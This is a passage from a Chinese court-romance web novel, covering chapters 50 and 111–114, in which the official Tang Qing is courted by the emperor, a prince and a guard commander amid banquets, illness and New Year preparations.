萧隽盯着他:“是……孤诞辰那夜?” 唐青敛低尤带愠怒的眉眼,缄默以对。 他不说,等同默认。 萧隽五指紧扣,目光溢出怒气和受伤,几欲打翻棋盘。 当夜他遣李显义把唐青带回颐心殿,只晚一步,就…… 他一字一字低声道:“非得是韩擒?孤待你不好?” 唐青平复波动的心绪,闭了闭眼睛,说道:“情之一字,唯独顺从内心,并非谁对谁好一分,就要喜欢那人一分。” “陛下,臣……已心有所属,那人便是韩擒。” 他弯了弯眼眸:“陛下于臣,或许只是习惯了将万物揽于掌心,并非情意。而臣却会时时想起韩擒,只要想到对方……” 他指了指胸前的位置:“心口会不由自主涌起许多滋味,甜蜜的,暗恼的,微微酸涩的,感动的,这些,只允他一人。” 唐青拱手行礼:”陛下,时辰不早,臣……先行告退。” ** 殿门开启,朔风凄冷,雪花飘落于前阶,覆盖上一点一点的惨白。 李显义关好门,他赶到御前侍奉,只见陛下静静坐着,面前的热茶早已凉冷。 他低唤:“陛下……” 萧隽像尊僵硬的雕像,良久,面目遍布一层惨淡之色。 萧隽扯了下嘴角。 “他断定孤不懂情,可适才说的那些……孤对他分明也有。” 第050章 第 50 章 初雪一连降了三日, 寒潮笼罩着整个兖州。 唐青每逢三日上早朝,今日下了朝到尚书台,处理公务时便觉有些不适。 伏案写字未久, 指尖颤了颤, 险些握不稳狼毫。 他轻晃脑袋, 隔着帘子朝窗外眺望, 视野茫茫皑皑, 旋即浮现几条扭曲怪异的光影来。 “砰——” 案边的人毫无知觉倒下。 * 苏少游将整理好的文卷送上三楼, 正准备和唐青交待两句, 看到人趴在书案前,忙靠近了呼喊。 等不到回应,苏少游撂下怀里的文卷, 转头朝楼下跑。 李秀莽在二楼办公,见他手忙脚乱,皱眉问:“何事如此惊慌。” 苏少游道:“唐大人伏在案上动也不动,怕不是——” 话还没说完, 眼前迅速闪过人影, 他喃喃:“比我还心急啊。” 自言自语着, 也跟着对方重新上去。 * 李秀莽抱起浑身虚软的青年放入坐榻,手指沿那张精致无瑕的面容轻触,贴在额际探温,低语道:“起了热症。” 苏少游:“我去差名侍卫到医署一趟,请个医官过来瞧瞧。” 李秀莽仍目不转睛地看着榻间的人,眼底的关切毫无遮掩。 又过片刻,榻内青年阖起的睫毛稍微颤动, 眸光亮起,撞入一双深邃眉眼。 不复往日平和, 夹了几分波动明显的情绪。 唐青心下一惊,哑声开口:“我方才昏迷了……” 李秀莽道:“有点热症,已经让人去了医署。” 唐青“嗯”一声,指尖搭在眉眼前,体温发烫,温度不算高,全身却虚软无力。 他神色充满愧疚:“劳烦你们了。” 李秀莽倒来些温水,唐青欲接过,杯口却对准他的唇,竟是要喂他。 唐青:“秀莽,你……” 李秀莽似乎在此刻才回神,把杯盏送到他手上,道:“适才冒犯了大人。” 唐青摇头,轻声宽慰:“无事。” 他与韩擒交往,萧隽对他也别有心思。 就在刚才,他从对方身上看到了和那两人并无二致的眼神,不禁有点心乱。 李秀莽对他……何时起的这种心思? 他们作为同僚,每日虽会例行寒暄,但只于公务有交流。 过去半年南行,因隔三差五的生病,倒托了对方一路照顾,每次都亲自送药到他面前。 此般细致却又如常到极其容易被忽略的照顾,莫非…… 不待理清头绪,医官赶到。 经诊脉,唐青身上元气虚损,又遭寒气侵体,需静心调养,固本培元,忌劳神劳累,注意保暖。 换言之,也就是身子虚弱,伤神疲惫,使风寒有了可趁之机,这才因受寒发起热症。 唐青无奈一笑:“只是普通的感冒发烧,并无大碍。” 医官摇摇头:“此言差矣,大人的身子底本就虚弱,素日里虽调养妥当,可再小的病,如若不及时调愈,终有一日也会积少成多,不可大意。” 唐青遵记医嘱,旁边的李秀莽并未出声。 直到送走医官,李秀莽取出搪瓷罐。 尚书台一楼旁边的耳房置有简单的小灶,他打算等药材送到以后,先煎副药让病患服用。 唐青望着对方忙前忙后,撑起还有点虚软的身子:“不必费力劳心……” 李秀莽将他扶回坐榻:“大人,无论今日尚书台病倒的是哪一名同僚,下官都会照顾,所以无需感到自责,更不要有什么负担。” 从门外经过的苏少游问:“李兄会这般照顾我?” 李秀莽:“……嗯。” 苏少游搓搓手臂,浑身泛起疙瘩。 他继续追问:“那也会像方才那般,一脸担忧地抱起昏迷的我,再小心谨慎地放在榻里?” 李秀莽背对着唐青瞥他。 不会。 苏少游瞬间领悟这道目光,欲言又止,最后还是摇头叹气地离开了。 唐大人跟大统领感情甚深,和他共事三年的同僚品性相貌虽然很好,但也只能单相思了,绝无可能,绝无可能啊。 ** 唐青病倒昏迷,寇广陵从议事殿回来得知此事,本要给他放半日假叫他回去休息,唐青却怎么都不肯。 他服完药,靠在坐榻里翻阅文卷,寇广陵见他如此,询问:“何苦这般执着?” 唐青轻叹:“大人的好意下官心领,可下官这副身子便是如此,若隔三差五的休病假,因私费公,久而久之,传在朝上的话又该有多少。” 他如今已经不是一个人,自己遭人非议就罢,可过去的那些事,不光让韩擒因他而受流言连累,皇上也为此遭受暗中非议。 如果他再把尚书台的人牵连进来,实在于心有愧。 且在尚书台办公,环境和条件比寻常人已好上千万倍,只除了两头奔波以外,在府邸和在宫内无甚区别。 见他坚持,寇广陵别无他法,只得叮嘱:“若身子不适,记得告诉我们,别强撑。” 唐青答应。 午后散值,唐青和李秀莽,苏少游一同出宫。 他与两人在宫门外道别,苏少游建议:“不如跟我们一块走吧,先送你回府上。” 唐青道:“我等韩擒。” 李秀莽话到嘴边,终是了点点头,带着苏少游离开。 * 韩擒军务繁重,往时会比他稍晚二刻钟左右离开。 观望天色,时辰已至,韩擒却仍未出现。 唐青立在玄天门一侧耐心安静地等候,成为寒天萧地中一道姝丽绝色的风景。 值守的羽林卫认得他,迟疑稍息,上前行礼,问道:“大人,此时风寒,可需卑职替您叫辆马车过来。” 唐青笑着婉拒:“我在等人,你们只管忙你们的。” 跟羽林卫说完话,只见门后疾步赶来一人。 他认得对方,正是七营禁军的石崇,也是韩擒的得力心腹,曾经给他传过话。 石崇唤道:“唐大人,下属方才到尚书台等您,没见着您这才赶出宫门,耽搁了些时候。” 唐青并未责怪:“韩擒呢?” 石崇道:“下属前来正是替统领给您带话,统领有事出城,让下属送您先行回府。” 唐青微微颔首,眼眸半弯:“那就劳烦了。” 到底是气血方刚的小伙子,哪里经得住美人盈盈浅笑。 石崇有些红了脸:“还请大人稍作等候,下属去牵辆马车过来。” 原地静候的唐青还未等来对方,从旁边途径的马车忽然停下。 他往旁边后退,让了道,马车未走,像是刻意等他。 为此,唐青抬眸,便见车帘一掀,露出一双熟悉的淡色狭长双目。 “陛……”他适时噤声。 李显义探出头,笑呵呵地开口:“大人,上车吧。” 唐青只得坐上马车,行了一礼。 面前的帝王常服装扮,微服出宫。 李显义道:“时辰晚了,外头开始起风,唐大人身子单薄,还是要当心些,莫要久待,若着凉就不好了。” 唐青垂眸:“下官明白。” 李显义不过是替皇帝传话,说话的功夫,一道目光未曾从他脸上移开,似在探量。 唐青顶着这道视线沉默。 萧隽问:“可是病了。” 唐青应答:“回禀陛下,臣偶感风寒,已遵照医嘱服过药,多谢陛下关怀。” “嗯。” 只一声,便不再理会。 唐青反而放了心,宁愿对方冷着自己。 北风刮着玄天门,牵了马车出来的石崇寻不见人,问过羽林卫,才得知唐大人乘坐其他马车先行离去。 他原地拍了下后脑,颇为懊恼:“应该没坏大统领的事吧。” 赶不上这趟,还得晚些时候亲自跟统领汇报才行。 ** 与此同时,唐青暗观周围,马车一路往金水街的方向行驶,看样子,是打算先送他回府。 适才无话,可终究承了皇恩,唐青不能一直当个哑巴。 他朝面前的帝王再次言谢,忽听对方沉声开口:“孤去找老马喝酒,唐卿可要一同前往。” 唐青想起,开春时他和萧隽第一次出宫。 那会儿也是微服出巡,他们夜宿在城内的一座偏静院子,尝过冀州地道的烤鱼,而看院的老者就是老马,对萧隽如同亲人。 思绪渐归,唐青腹中措辞,思索该如何婉拒。 萧隽改口,淡道:“也罢,唐卿身子不适,回去早点歇息。” 唐青依然垂眸,言辞温顺,萧隽淡漠以对,心脏却揪起几分痛楚。 于朝堂中,公事上,唐青和他有着志向相同的“道”,数次政略不谋而合,这人懂自己。 明明如此默契的人,对他始终态度恭敬。私下相处,即使温顺,可这副低眉顺眼的模样,叫他无端愠怒,头疾似乎又要犯了。 途中寂然,马车停在府邸大门外。 唐青再度行礼,甫一下了马车,踩着木梯的脚忽然虚浮,头晕之际,竟要跌倒。 腰后横来一条手臂,将他抱起。 萧隽眼底的冷色化为焦灼。 “身子如此虚还要逞强。” 唐青推了推,抱着他的帝王纹丝不动,手臂仿佛焊在他腰后。 萧隽抱起他,大步迈入府内,冷声开口:“寝屋在何处。” 唐青未语,萧隽目光一转,扫了眼迎在门后跪地无措的兰香。 李显义催促她:“还发什么愣,赶紧带路。” 兰香只好埋头带路。 唐青还欲再推,腰肢忽被捏了一记。 收到萧隽的警告,他只得安分。 110-120 第111章 第 111 章 萧亭在众目睽睽之下走向唐青旁边的位置, 席间好奇的、看戏的、惊讶的、漠不关心的,神态百种,文武百官俱不敢表露, 私下里却都统一抻长了脖子, 使劲往这方席位的方向瞅。 恰好此时宫伶们有了动静, 只见她们吹竹弹丝, 琤琤清音即刻如潺潺流水在这场宫廷国宴中轻盈淌开, 掩去有些人按捺不住的躁动。 也是唐青心理素质过硬, 否则只怕不能像此刻这般淡定的坐在席上。 借着笙箫之乐起奏, 他无奈道:“王爷,您不该这样。” 萧亭贵为皇亲国戚,和天子叔侄情深, 坐在他这方席位,不但有失排场,还容易落人口舌。 距离朝堂官员呈交上奏他的折本还没过去多久,萧亭此举, 无异于给人递了话柄。 萧亭温厚一笑, 嗓音低沉磁性, 目光与他对上时,怔松间,很快恢复常态,露出些许柔和。 “唐大人即是边贸监察史,过去大半年在冀州所为,披肝沥胆,尽忠竭力。本王今夜以酒相敬, 借此表露诚谢心意,又何惧旁人之言?” 萧亭声音不大, 此话却恰到好处的落进旁人耳边,他解明缘由,有人信服,也有人将信将疑。 可大多数官员只选择继续低头装傻。 短短功夫,不是傻子的都看出来王爷和唐青关系不一般。 前后禁军统领,今有冀襄王示好,落在唐青身上的视线越来越复杂,嫉妒他人缘好的不在少数。 唐青无言,兀自斟了杯酒,准备仰头饮尽时,几道声音倏地同时响起。 “别喝。” 韩擒与萧亭隔席对视,不约而同的在彼此眼底看见敌意。 二人皆与唐青有过情。 就算韩擒已经放下执念,萧亭对他,仍怀有几分警惕。 韩擒看似端正稳重,却在生死关头不顾计较地为唐青付出,怎知不是在暗中等待重燃旧情的机会? 寇广陵先开口,替唐青解围,说道:“唐侍郎前些时日身子不爽,不如以茶代酒,王爷意下如何?” 萧亭道:“甚好。” 他爽利抬手,斟了两盏清茶,将其中一盏递与唐青。 唐青接了茶,和萧亭共饮后,忽闻听宫人长声宣唤,百官齐齐迎身行礼,恭候帝王驾临。 宝殿流动着辉光,玉阶上出现一道伟阔挺拔的身影。 萧隽着玄色衮衣,戴十二旒冕冠,淡目一扫,微不可察地在唐青方向停顿稍息,道:“众卿免礼。” 元年佳节的宫宴,百官同庆,无须拘着素日的礼节。 天子入座,开启了晚宴的序幕。 在座的王公贵戚无一不想着多与金龙宝座上的帝王多说几句热络话,萧隽目光却越过众人,直落在萧亭身上,没有身份之别,先道一声“皇叔”,而后请其上座相叙。 萧亭屏退宫人,本想自己布菜,顺手给唐青一并布菜,中途遭遇打断,见此,有些遗憾。 唐青与诸多官员齐齐望向金龙宝座的那道人影,萧亭起身,旋即在帝王下侧席位入座,正对的是当朝丞相周廷。 萧隽道:“皇叔近来可好。” 这对叔侄相貌上有几分相似,若不是看出彼此眼底暗涌的情绪,在旁人眼中,当真是令人艳羡的叔侄情深。 萧亭道:“谢皇上惦念。” 叙了些话,萧隽忽然偏过眉目,着李显义领人送一道蜜渍梅粥往唐青的食案去。 萧亭半眯双眼,道:“皇上对唐大人倒是关怀备至。” 唐青私下里喜欢吃微甜的食物,宫宴上俱是珍馐美馔,多为肉食和美酒,容易腻味。 今年邺都的梅花尤其香冽,这蜜渍梅粥算是兖州的特色膳食,萧隽怕唐青伤了胃,先喝碗粥垫肚子,同时也是一道暗喻。 萧隽道:“不比皇叔对侍郎殷切,皇叔亲自布菜,旁人看了还以为侍郎与皇叔的关系有多么亲近。” 这边叔侄针锋相对,话里藏针,倒不难听,只是都夹着些酸味。 唐青在席下喝了半碗蜜渍梅粥,待腹中温暖,继而与寇广陵对酌。 对面,韩擒和周围的官员碰了碰樽俎,然后朝他微抬手臂,仰头饮下,就像专门和唐青相互敬了才喝。 一众官员等着执酒敬皇帝,萧亭得了闲离席,目光往席下寻找,待问了宫人唐青的去向,立刻掩去动静,悄然走出宝殿。 ** 镂空雕花的宫灯沿着长廊蜿蜒回转,唐青喝了点酒,趁宴席热闹,伺机离席,出来透口新鲜空气。 他走在避风的廊道间,走了半晌,没吹风,酒意便未上头,还算清醒。 笙歌妙乐远去,仿佛给他隔绝了一方安静空间。 他抬眸四望,准备多呆片刻,背后笼来一道人影。 萧亭唤他:“阿青。” 唐青回眸:“王爷。” 萧亭走近,唐青退后几步:“王爷有何……” 萧亭忙牵起了他的手:“再退就要踩空了。” 唐青:“……” 他挣出手腕,萧亭又握了上来。 “今夜我有话想对你说,此刻才有了机会。” 唐青盯着腕子,睫毛轻落:“该说的话,下官在信上全部与王爷说了。” 萧亭:“阿青,再给我一次机会,可好?那些事,无论伤人或伤己的,我都不会做了。” 又道:“这次不用干娘做借口,是我爱慕你,我们重新开始,好吗?” “王爷,您无须这样。”唐青低声一叹,“此事,下官已经想清楚了。” “阿青。” 唐青道:“下官没有王爷想得那么好,看似坚定明朗,心中实则自着私怯懦的一面。” “有些事情,若平稳的概率为九十九,尚有一分不确定,下官也要那一分变成属于我的稳定。换言之,当变故来临时,在伤害扩大前,我会及时止损,想尽一切法子回避,疏远。” “王爷,我不会为所有事情沉溺,也不希望旁人为我沉溺,所以还是算了吧。” 他固执地抽回手腕,待萧亭准备阻拦时,长廊尽头,玄色衮衣迎风翻动。 萧隽道:“皇叔,既然他不愿,何必勉强他。” 唐青轻怔,垂眸行礼。 萧亭道:“皇上怎么来了。” 萧隽:“孤与唐卿有些西北要事相商,皇叔辖管幽州,还请回避。” 关于西北新政,唐青和萧隽该说的都说过了,但对方要此刻再议,他只能跟上。 往颐心殿的方向,萧隽偏过头,听不出语气地道:“既然不喜欢,不会拒绝么?” 唐青:“……” 萧隽算不算以公谋私。 对方还在等着他回话。 一路行来,唐青吹了点风,头脑热起,开口道:“臣拒绝了,若如此还不够,莫非要到处叫嚷,使得旁人都听到?” 萧隽:“那就是拒绝的还不够狠。” 望着与萧亭有四五分神似的容貌,唐青无言,不想和萧隽说话了。 第112章 第 112 章 北风从回廊灌下, 镂空雕花宫灯轻轻晃了晃,带出一片朦胧暧昧的光晕。 唐青几分微醺,抬头看着那摇晃碰撞的宫灯, 只觉眼前有些晕眩, 便移开了目光, 同时也刻意避开了萧隽的视线。 萧隽与萧亭容貌上有四五分相似, 这叔侄二人, 前后让他相顾无言, 此刻心下无可奈何, 索性微微冷了脸。 萧隽语气平静地道:“卿拒绝孤的时候,倒是舍得狠着心。” 唐青:“……” 这人还算有自知之明。 又一阵寒风袭来,萧隽稍微倾过身, 挡了挡风势。 “先进殿,卿身子骨弱,莫要受了风寒。” 唐青抬眸,萧隽从始至终都看着他, 嘴上说着方才那些话, 面上却犹如古井不波, 仿佛早就习惯了。 他暗暗叹息,安静跟着对方入殿。 ** 时候不早,颐心殿的宫人仍侯着,唐青随萧隽到了一间暖阁。 待四周宫人俱被屏退,他在案前坐下,眼前置着一壶香茶和点心。 萧隽目光放出些许慵懒,道:“边喝边谈, ” 唐青:“陛下……” 宫宴当夜,萧隽抛下宴席的一群臣子, 和他在暖阁里吹着暖气聊西北新政。 于公于理都不合适。 萧隽示意:“喝。” 唐青端起茶杯轻抿一口,茶水带来的暖流顺着喉咙滑下,缓解了适才微醺的醉意。 萧隽看着他,目光里浮出很淡的笑。 “幽州需要能主持新政的人,卿以为谁合适。” 突桀归纳,幽州乃至西北全境都亟待整合。 唐青上奏的策略里,延用了不少今年新订的边境政策,诸如稳定流民,将流离失所的百姓登记入籍,让他们回归田园,在西北边境开拓荒土,延续军民屯田的政策。 幽州吸收了外族,便要以民族一统为目标,抛开区别对待,实现语言文字上的统一,贸易上只能用大邺的货币。 这些政策非一年两年可实施完毕,而边境地理位置的特殊和重要性,决定了执行政策的人需要慎重抉择。 此人既要有推行新政的手腕,还要有稳固大局,把守边关的将帅之能。 唐青心中逐渐了然,垂眸道:“陛下既然问了,心里定有人选,何必试探微臣的口风。” 闻言,萧隽只是扯了扯嘴角,没有反驳他的话。 寂静中,李显义出现在暖阁外,萧隽示意他进来。 “陛下,您要的面御厨已经备好了。” 唐青侧眸,只见李显义小心摆放两个冰瓷碗。 一大一小的两碗面,冒着腾腾热气,面条上还卧着摊开煎熟的鸡蛋,滴了香油,汤上浮着少于葱花。 萧隽把一双竹筷递与他:“尝尝。” 唐青为这突如其来的举动失语哑然,总觉得今夜的萧隽,和往日的时候有些不同。 萧隽先尝了几口面,爽快利落的姿态,那一身威严的衮衣冕冠与之竟无违和之感。 唐青微微移开视线,只听对方道:“再不吃,汤就凉了。” 汤碗浮出的热气勾着唐青,他下意识咽了把嗓子,半晌,拿起竹筷和羹匙,夹起少许面,舀了点汤汁慢慢吃了起来。 他诧异抬眸,面条竟然只有一根。 萧隽淡笑:“接着吃。” 唐青动了动唇,低头把汤喝了。 颐心殿暖阁一角,蓦然多了点少见的烟火气息。 ** 已至深夜,万籁静寂。 一地银色倾笼整座王城,朔风吹打着窗纸,引出微弱窸窣的动静。 唐青幽幽抖开长睫,眸子惺忪,迷茫地打量周围。 他扶着有些昏沉的脑袋从榻间坐起,更深夜重,此刻只怕早就过了宫门落匙的时辰。 唐青依稀记得自己在颐心殿的一间暖阁和萧隽商议新政,中途还用了些热食,之后酒意完全上来,便混混沌沌地伏在案上枕着胳膊睡了。 他走到殿门,值夜的宫人瞧见了,连忙上前搀扶。 “大人,皇上特意交待奴婢留下伺候您,大人可有吩咐?” 唐青询问:“几时了?” 宫人应了话:“回大人,已过子时。” 唐青轻吟,的确过了出宫的时间。 他站在门外,视线越过一道道回廊曲槛,思索着接下去该如何。 宫人劝道:“外头冷,大人还是进殿吧。” 说着话,一阵寒风呜咽而起,唐青下意识抬手,只须臾,指尖一凉,手背也袭上了凉意。 深夜月色银光,竟也开始飘起了雪花。 宫人着急道:“大人还是快进暖阁吧。” 唐青把来时披裹的斗篷罩上,往回廊越了几步。 “适才休息过,此刻我想独自安静地待一会儿。” 他不会有意为难宫人,温声将人屏退后,并未四处乱走,只在走廊的尽头停步。 此时手心落了些许雪花,他浅浅扬起唇角,就着长阶坐下。 唐青望着月色与和落雪,心里是空白的,什么都没想。 直到身后有人出声:“也不怕着凉。” 萧隽从宫宴离开后沐浴了才来到这座偏殿,本该安稳歇息的人不在榻上,反而赏着夜雪。 月色和雪色在宫灯照应下交错出微弱迷离的光影,唐青垂眸,胳膊拢着小腿环膝而坐,看着竟有几分温和寂寥。 萧隽问:“想何事想得这般出神、” 唐青轻动眼睫:“回陛下,臣心无所想。” 萧隽抬目,遥望一地的月色和落雪。 久久无言,唐青忽觉对方意外地沉默寡言,似触景生情,想起了不算美好的旧事。 他心念一闪,道:“今夜那晚葱花鸡蛋面,是……生辰面吧?” 在大邺,每逢生辰,才会做只有一根,吃不到尽头似的,长长的细面,意为长寿。 萧隽没有否认。 唐青:“昨日……是陛下故人的生辰?” 帝王诞辰,为国之大事,向来隆重操办。既非萧隽生辰,只能是他心里重要之人的生辰。 萧隽:“孤的母妃。” 月色落在他的眉眼,仿佛隐藏了什么,有些轻描淡写地带过。 “母妃诞下孤起,因孤身怀异族血统,便没在宫里过过安稳日子,到了她的生辰,兴许是她每年最高兴的时候,无人与她相贺,唯有孤陪她吃一碗长寿面。” 萧隽道:“若非母妃生下孤,何须遭遇数年苦楚凄廖。” 皇室宗亲重视血统,唐青不难猜出,萧隽异族特征的眉眼使得他和母妃常年受尽冷落和欺辱。 他静默几瞬,道:“陛下,旁人的眼光如何,与我们何干,不必用他人过错惩罚自己。” 萧隽神色未变,忽然问:“卿的生辰为几时?” 如今回想,鱼符上虽刻着唐青的姓氏和生辰,却从未见他庆贺。 唐青掩眸。 萧隽没有追问,只将他扶起来。 “阶上凉,进殿歇息吧。” 唐青还待开口,膝盖和腰肢倏地一紧,竟被对方打横一抱,径直穿过回廊,朝着殿门过去。 “陛下……您放了臣。” 萧隽勾了勾嘴角,倾身低嗅他的发顶。 “适才可是在安慰孤?” 唐青:“……” 萧隽:“青儿好香。” 唐青眼皮一抽:“……” 什么? 转眼就回到暖阁,萧隽放下他:“卿好生歇息。” 唐青:“陛下刚才……” 萧隽:“卿想问何事。” 大有详谈就上榻彻夜长聊的举动。 唐青立刻闭嘴:“臣乏了,想先睡觉。” 萧隽笑笑:“好,唐卿安心睡吧。” 第113章 第 113 章 翌日清早, 天还未亮透,宫里的雪就停了,宫墙周围堆积起一片茫茫白色。 宫人们小心翼翼地端着木盆, 蹑手蹑脚地将盆里的盐均匀地撒在道上。 唐青从暖阁走出, 先是停在门口适应了一阵兖州寒冷的空气, 继而垂眸凝视, 盯着台阶徐步下去。 今日他无须去尚书台当值, 便趁早从颐心殿离开, 若叫旁人看见他在此留宿, 怕是又要落几句口舌。 自从被萧隽捋走,缠绕在他身上的闲言碎语有增无减。 纵使唐青已经习以为常,多一桩少一桩无甚差别, 可既与萧隽有关,这多一桩和少一桩还是有点区别的。 才出宫门,候在外头的马车已经不在。 昨夜飘起大雪,邺都天寒地冻, 车夫应是回了府, 此刻天色清早, 还未出府接送。 唐青抬首顾盼,欲拦辆马车回府,忽然听到有人低沉唤他:“先生。” 回眸,只见红墙琉璃瓦围成的长道上,韩擒稳步朝他走近。 唐青微微弯了弯眸子:“刚下值?” 韩擒:“嗯,先生可是要回府,我送送你。” 拒绝的话说多了便成了客气, 如今他把韩擒当做朋友,遂点头接受。 “如此, 有劳统领了。” 韩擒命人牵来辆马车,小心把他扶进车内。 ** 时候尚早,邺都的街头只有零星百姓沿着路牙洒扫积雪。 过了朱雀街,周围逐渐有了烟火热闹的气息。 唐青与韩擒二人对坐,相顾一时无言。 韩擒目光动了动,压下满心苦涩。 昨夜宫宴还未结束,席上就不见了唐青身影,今早从宫里出来,应是被皇上留在颐心殿。 皇上待唐青如何,旁人不知,韩擒却一清二楚,可他无法制止。 和唐青的每一分相处时刻,已是来之不易,想罢,他收起胡乱的头绪,心神皆系于身旁的青年。 气氛无端寂静,街旁的吆喝牵动唐青余光。 他向外一瞥,想着自己和韩擒都刚从宫里出来,对方又刚下了值,便问道:“要不要吃点东西。” 韩擒喉结轻滚:“好。” 二人前后下了马车,一同走进面馆。 馆子刚开门,出锅的馒头包子热气腾腾。 掌柜瞧见他们容貌和仪态不凡,连连笑开了眼,热情招呼:“两位贵客要吃点什么?” 说罢,介绍馆子内有名的早食,一口气不带停顿。 唐青眉眼带笑,不禁感慨,这铺子虽小,生意倒是做得好,食物丰富,简直让人挑花了眼。 他与韩擒当即要了三屉小包子,一大一小的两碗面,搭配温好的牛乳,面对面坐下。 唐青吃了不到半屉玲珑精致的包子,余下的都叫韩擒吃了去。 气氛实在过于安静,唐青抿了汤,道:“近来家中可好?” 算算日子,韩擒随他去北境将近一年,之后留在幽州,也有许久没与家人相聚了。 韩擒放着碗筷,专注看着他:“还是老样子,父亲年初给大哥定了门亲事。” 韩擒的大哥虽痴傻着,但家境放眼整个邺都,足矣让许多门庭想要高攀。 韩父早就有替他们兄弟二人定亲事的念头,韩擒以前不同意大哥成亲,一来怕耽误人家,二来,韩家结亲并非表面上看到的那样简单,事关朝堂,韩擒需得斟酌。 回府半月,他见这位姑娘甘愿与大哥在一起,私下调查过,确为家世清白,且只出身寻常农户,这才有了松动之意。 待操办了大哥的婚事,父亲便要为他做更多考虑。 韩擒道:“我不会成亲。” 似是告诉自己,也是给面前的人一个承诺。 唐青敛眸,避开韩擒目光里的深意。 他心里微微一沉,说道:“阿擒,你还年轻,往后的日子长着,以后发生何事都说不准,勿要轻易做出这些决定。” 韩擒声音意缓,低声道:“先生的话我心里清楚不过,之所以坦白,就是不想让先生有所负担,这是我的决心,莫要多虑了。” 唐青轻轻应声,用完早食,韩擒送他回了府邸。 * 府邸大门的积雪早已清扫干净,副管事方起亲自擦拭牌匾,见唐青回来,立刻下梯,往石阶前迎。 “大人,您回来了。” 新招的副管事方起年纪二十六,模样斯文,活儿却是做得相当利索,且会认字管账,做事周到,打理起府中事务可谓得心应手,替兰香省了许多心。 唐青与韩擒道别,上石阶时,听副管事说府内来了贵客,待入了堂屋,才发现萧亭在里头等他。 “王爷。” 一个人被接二连三的拒绝以后,唐青原以为对方不会再来找自己了。 “您……”他迟疑,却见萧亭笑了笑,几步走到他面前停下,温和磁性的开口:“我来见你,顺道和你辞别。” 萧亭:“那些话本王不会再说了,这些日子可曾让你徒增困扰?是本王顾虑不周,过去所做,心中所言,全凭心意而为,没有顺从和尊重过你的想法。” 唐青轻叹:“王爷言重了。” 萧亭微微笑了下,嘴边有些苦涩。 “昨夜你留宿宫内……” 唐青眸色磊落:“我与陛下商议幽州事务,时候太晚,错过了宫门落匙的时辰。” 萧亭点点头,继而几分狼狈地仰目:“不该过问的,又说些叫你不悦的事。” 唐青没有让对方难堪,话锋一转:“王爷可要喝茶,我让兰香准备。” 萧亭:“无须麻烦,同你辞别,只是想在回冀州前再看你一眼,一会儿就走。” 唐青:“那我送王爷。” 萧亭喟叹,神情几变,望着他久久无言。 唐青不解。 “你啊……”萧亭道:“若你打我骂我几句,我心里还痛快些,要走便直截了当毫无顾忌地走。可你这般,倒叫我优柔寡断,变得不若以往。” “阿青,在这邺都,甚至整个大邺,能强迫你的人所剩无几,若……有人逼迫你,可传信与我。” 唐青当即听出话中所指。 当今邺都,他有皇帝做靠山,能逼迫的他的人,还能有谁? 萧亭笑道:“只要你不愿意,本王可以不顾一切的带你离开邺都。” 唐青说不动容是假,他很轻地点头,萧亭面上的笑意逐渐扩大。 “若改变心意,随时来冀州。” 又带着恳切之意问道:“你我分别以后,我……可能书信与你?本王绝不会做些叫阿青为难的事。” 唐青见萧亭如此,心下微酸涩:“王爷,我们之间何至这般,你我都是朋友,不是见面就眼红的仇人。” 萧亭知唐青不与人交恶,即使在自己不顾他念头,做了隐瞒他,伤害他的事之后。 当即,抬起青年柔美的脸颊,郑重地在眉心印下一吻,仿佛留下一个承诺。 唐青慢慢眨了眼眸,还没反应,萧亭抽身已经退开。 “我在冀州等你。” 第114章 第 114 章 节前, 鸿胪寺在邺都举行了几场祭祀典礼,天子亲自主持祭天大典,外廷三品官秩以上的官员皆俱到场, 唐青隶属内廷, 无须参与仪式。 将西北幽州新策呈交至御前后, 他除了按时到尚书台当值, 整理年底挤压的卷宗, 余下时间便慢慢赋闲下来。 这日下了值, 天阴无雪, 唐青在书房练字。只闻院中热闹,兰香似在吩咐什么,末了, 笑了几声。 清脆如铃的喜笑声感染了他,唐青放下毛笔,添上披风,推门徐步而出。 “先生, 快来看呐。” 兰香率先招呼, 眉眼盈笑, 指着一早收卸的年货,与他细致介绍,又拿了张单子,纸上罗列着年初储备的物事, 唐青如今位居高职,虽素来低调,但每逢重要年节, 其他官员往他府上送的礼品也不少。 一来二去,兰香专门置办了一间储藏阁, 每件器物详细收纳,列进册子,做完统计后会交给唐青亲自过一遍数。 至于回礼,兰香也根据赠送,择选合适的,以唐青的名义送回去。 但兰香到底还年轻,又不曾浸淫官场,有些礼择定不够周到,每每挑过回礼,会先让唐青过目,确保无误再遣人送去。 唐青手上拿着两份名册,一份入库清单,一份回礼单子,过去的回礼单子有些需要调整,今年这份…… 唐青看完,稍略思忖,视线在兰香和不远处搬物的副管事之间转停。 他道:“今年的回礼择选合适,可是与人商量过?” 兰香微微脸红,点了头:“与方大哥商量过的。” 唐青瞧她这副姿态,浅浅一笑,感慨着跟随了自己几年的小姑娘,终究是长大了。 将送来的礼品如数入库,兰香跟副管事尚未闲着,转头与唐青商量另外一件事。 过年讨个气氛,今年兰香没从外头置办对联,而是买了纸和材料,请唐青亲自写上。 他自不扭捏,写完全部联子,兰香拿上对联,和副管事配合着往府邸每扇门窗都贴了上去。 有了灯笼窗花和对联的点缀装饰,唐青在府中转了一圈,叹道:“如此看,里里外外都有年味,多亏了兰香的打理。” 兰香瞅了一眼旁边的人,赧笑道:“岂止算我的功劳。” 对上唐青睨笑的眼神,她脸愈发红,多了几分小女儿的姿态,赶忙解释:“大伙儿都帮了忙,先生写了那么对联子,还有阿桃阿良他们负责洒扫,方大哥也做了不少活。” 唐青看穿她的心思,目光一越,落在方起身上。 斯文稳重的青年端地也微微红了脸,却未来回避这份端量, 唐青把兰香当成妹子,妹子与谁相好,自然要过了他这关。 * 到了上元节这日,府邸几名下人都各自回乡与亲人团聚了。 副管事把双亲安置在邺都近郊,唐青同样给他准了几日假,至于兰香,让她自己决断。 他唤兰香进了屋内,递给她一个丰厚的红包。 “今年的压岁钱,祝你年年今日,岁岁今朝。” 又温声道:“转眼就过了四年,你也从小丫头长成了姑娘家,有了心上人。或许做法有些冒昧,但我还是派人对方起做了些调查,他出身背景虽然普通,但是清白人家,未来与他过上简单美满的日子,即是我对你最大的期愿了。” 兰香目光一湿:“先生……” 唐青笑道:“新年可以流些幸福的泪水,不过只这一次就好。与你说这番话,并非劝你嫁人,相反,婚姻之事由你做主,等你想结亲了,跟我这大哥说就是,到时候我定给你准备丰厚的嫁妆,让你风光无忧的出嫁。” 兰香垂着脑袋,嗓音哑道:“才不嫁人,我要留在先生身边,不留您一个人。” 唐青始终含笑:“说什么胡话,莫非你成了亲就不做府上的管事了?婚事是婚事,可不能混为一谈。” 兰香这才笑了出声,用力点头。 